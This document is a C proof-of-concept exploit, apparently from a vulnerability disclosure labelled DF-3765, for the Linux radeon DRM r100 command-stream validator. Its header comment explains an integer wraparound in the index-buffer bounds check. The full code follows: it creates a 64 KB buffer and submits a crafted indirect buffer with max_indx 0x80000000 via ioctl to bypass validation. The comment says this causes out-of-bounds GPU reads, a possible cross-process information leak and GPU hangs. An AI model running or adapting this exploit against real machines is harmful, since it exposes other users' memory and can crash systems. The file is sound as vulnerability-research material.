DF-3765 / df3765_max_indx.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 | /* DF-3765 — r100_cs_track_check() PW=1 bounds check computed in 32-bit * unsigned: size = esize * max_indx * 4 wraps to 0 -> validator * bypass -> GPU fetches indices far beyond the BO (GPU OOB read). * * max_indx is taken verbatim from the IB at r100.c:1966 (packet 0x23, * 3D_RNDR_GEN_INDX_PRIM). With esize=2 (minimal vtx fmt) and * max_indx = 0x80000000: * 2 * 0x80000000 = 0 (mod 2^32); 0 * 4 = 0 -> size == 0 * "0 > radeon_bo_size(bo)" is false -> the check passes although the draw * instructs the GPU to use 0x80000000 indices from a 64 KB buffer. * * Build: cc -o df3765 df3765_max_indx.c * Run: ./df3765 /dev/dri/renderD128 * Success criterion: CS ioctl returns 0 (validator bypass proven). * On real hw expect garbage rendering reading adjacent GPU memory * (cross-process info leak via readback) and/or a GPU hang. */ #include <sys/ioctl.h> #include <sys/ioccom.h> #include <fcntl.h> #include <stdio.h> #include <stdint.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> struct rr_gem_create { uint64_t size, alignment; uint32_t handle, initial_domain, flags; }; struct rr_cs_reloc { uint32_t handle, read_domains, write_domain, flags; }; struct rr_cs_chunk { uint32_t chunk_id, length_dw; uint64_t chunk_data; }; struct rr_cs { uint32_t num_chunks, cs_id; uint64_t chunks, gart_limit, vram_limit; }; #define RR_GEM_CREATE 0x1d #define RR_CS 0x26 #define RR_IOCTL_GEM_CREATE _IOWR('d', RR_GEM_CREATE, struct rr_gem_create) /* DF drm.h: DRM_IOCTL_BASE='d' */ #define RR_IOCTL_CS _IOWR('d', RR_CS, struct rr_cs) #define RR_CHUNK_ID_RELOCS 0x01 #define RR_CHUNK_ID_IB 0x02 #define RR_CHUNK_ID_FLAGS 0x03 #define RR_GEM_DOMAIN_GTT 0x2 #define PKT0(reg, n) ((0u<<30) | (((n)&0x3FFFu)<<16) | (((reg)>>2)&0x1FFFu)) #define PKT3(op, n) ((3u<<30) | (((n)&0x3FFFu)<<16) | (((op)&0xFFu)<<8)) #define RADEON_RB3D_CNTL 0x1c3c # define RADEON_RB3D_COLOR_FORMAT_SHIFT 10 #define PKT3_NOP 0x10 #define PKT3_RNDR_GEN_INDX_PRIM 0x23 # define RADEON_VF_PRIM_WALK_INDEX (1 << 4) static int fd; static int gem_create(uint64_t size, uint32_t *handle) { struct rr_gem_create gc; memset(&gc, 0, sizeof(gc)); gc.size = size; gc.alignment = 4096; gc.initial_domain = RR_GEM_DOMAIN_GTT; if (ioctl(fd, RR_IOCTL_GEM_CREATE, &gc)) { perror("GEM_CREATE"); return -1; } *handle = gc.handle; return 0; } int main(int argc, char **argv) { const char *node = argc > 1 ? argv[1] : "/dev/dri/renderD128"; struct rr_cs_reloc relocs[1]; struct rr_cs_chunk chunks[3]; uint64_t chunk_ptrs[3]; struct rr_cs cs; uint32_t flags[2] = { 0, 0 }; uint32_t ib[16], idx_bo, n = 0; fd = open(node, O_RDWR); if (fd < 0) { perror(node); return 1; } if (gem_create(64 * 1024, &idx_bo)) return 1; memset(relocs, 0, sizeof(relocs)); relocs[0].handle = idx_bo; relocs[0].read_domains = RR_GEM_DOMAIN_GTT; memset(ib, 0, sizeof(ib)); /* RB3D_CNTL: valid color fmt, Z off (skips zb track check) */ ib[n++] = PKT0(RADEON_RB3D_CNTL, 0); ib[n++] = (6 << RADEON_RB3D_COLOR_FORMAT_SHIFT); /* 3D_RNDR_GEN_INDX_PRIM (0x23): sets max_indx = ib value verbatim */ ib[n++] = PKT3(PKT3_RNDR_GEN_INDX_PRIM, 4); ib[n++] = 0; /* [addr] relocated below */ ib[n++] = 0x80000000; /* max_indx: esize(2)*max_indx*4 wraps to 0 */ ib[n++] = 0; /* SE_VTX_FMT: vtx_size = 2 (minimum) */ ib[n++] = RADEON_VF_PRIM_WALK_INDEX; /* prim walk = 1 -> PW1 check */ ib[n++] = PKT3(PKT3_NOP, 1); ib[n++] = 0; /* reloc dword index 0 -> relocs[0] */ memset(chunks, 0, sizeof(chunks)); chunks[0].chunk_id = RR_CHUNK_ID_IB; chunks[0].length_dw = n; chunks[0].chunk_data = (uint64_t)(uintptr_t)ib; chunks[1].chunk_id = RR_CHUNK_ID_RELOCS; chunks[1].length_dw = 4; chunks[1].chunk_data = (uint64_t)(uintptr_t)relocs; chunks[2].chunk_id = RR_CHUNK_ID_FLAGS; chunks[2].length_dw = 2; chunks[2].chunk_data = (uint64_t)(uintptr_t)flags; chunk_ptrs[0] = (uint64_t)(uintptr_t)&chunks[0]; chunk_ptrs[1] = (uint64_t)(uintptr_t)&chunks[1]; chunk_ptrs[2] = (uint64_t)(uintptr_t)&chunks[2]; memset(&cs, 0, sizeof(cs)); cs.num_chunks = 3; cs.chunks = (uint64_t)(uintptr_t)chunk_ptrs; if (ioctl(fd, RR_IOCTL_CS, &cs) == 0) printf("VULNERABLE: CS accepted max_indx=0x80000000 vs 64KB BO " "(esize*max_indx*4 wrapped to 0)\n"); else printf("rejected: %s\n", strerror(errno)); return 0; } |